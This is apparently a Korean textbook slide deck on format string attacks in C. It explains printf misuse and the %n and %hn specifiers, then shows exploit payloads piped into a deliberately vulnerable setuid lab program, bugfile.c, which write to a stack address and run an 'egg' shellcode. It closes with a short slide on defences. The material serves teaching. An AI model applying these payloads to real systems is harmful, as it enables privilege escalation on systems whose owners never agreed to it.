250 likes | 449 Views
정보 보안 개론과 실습 시스템 해킹과 보안. √ 원리를 알면 IT 가 맛있다. ehanbit.net. 학습목표. 포맷 스트링의 취약점 이해 포맷 스트링 문자 이용 포맷 스트링 공격 수행 포맷 스트링 공격 방어. 포맷 스트링 공격에 대한 이해. ■ 포맷 스트링 함수. 올바른 포맷 스트링 함수 사용법. #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s<br>", buffer); }. 잘못된 포맷 스트링 함수 사용법.
E N D
정보 보안 개론과 실습 시스템 해킹과 보안 √ 원리를 알면 IT가 맛있다 ehanbit.net
학습목표 • 포맷 스트링의 취약점 이해 • 포맷 스트링 문자 이용 • 포맷 스트링 공격 수행 • 포맷 스트링 공격 방어
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수 • 올바른 포맷 스트링 함수 사용법 #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } • 잘못된 포맷 스트링 함수 사용법 #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); }
파라미터(Parameter) 변수 형식 %d 정수형 10진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double) %c 문자 값 (char) %s 문자 스트링 ((const)(unsigned) char *) %u 양의 정수 (10 진수) %o 양의 정수 (8 진수) %x 양의 정수 (16 진수) %s 문자열 %n * int (쓰인 총 바이트 수) %hn %n의 반인 2바이트 단위 • 포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수 • 포맷 스트링의 종류
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test1.c #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); }
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test3.c #include <stdio.h> main(){ long i=0x00000064, j=1; printf("최초 i의 값 : %x\n",&i); printf("i 값이 저장된 주소 : %x\n",i); printf("%64d%n\n", j, &i); printf("변경된 i의 값 : %x\n",i); }
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c #include <stdio.h> #include "dumpcode.h" main(){ char buffer[64]; fgets(buffer, 63, stdin); printf(buffer); dumpcode ((char *)buffer, 100); }
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c gcc -o test6 test6.c ./test6 AAAAAAAA
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%3221224116d%%n"; cat) | ./test6 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff \xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 함수의 취약점 • Test6.c (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff \xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • bugfile.c #include <stdio.h> main(){ int i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); printf(buf); }
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • bugfile.c ./bugfile AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • Bugfile 실행 시 스택의 구조
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • GDB를 이용한 Bugfile 메모리 구조 확인 Disass main break *0x8048657 run
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • GDB 를 이용한 Bugfile 메모리 구조 확인 info reg $ebp x/12 $ebp
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • 실제 공격 chmod 4755 bugfile su wishfree ./egg
포맷 스트링 공격에 대한 이해 • ■ 포맷 스트링 공격 수행 • 실제 공격 (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf\x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile
포맷 스트링 공격에 대한 대응책 • ■ 포맷 스트링 공격에 대한 대응책 포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면, 문제가 생기지 않는다. • 주요 취약 함수 printf("%s\n", buffer); fprintf (fp, 서식문자열, 인자1, ... , 인자N) int sprintf (char *str, const char *fmt,...) snprintf (char *str, size_t count, const char *fmt,...) 유닉스 Sysem V에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf
Thank you ehanbit.net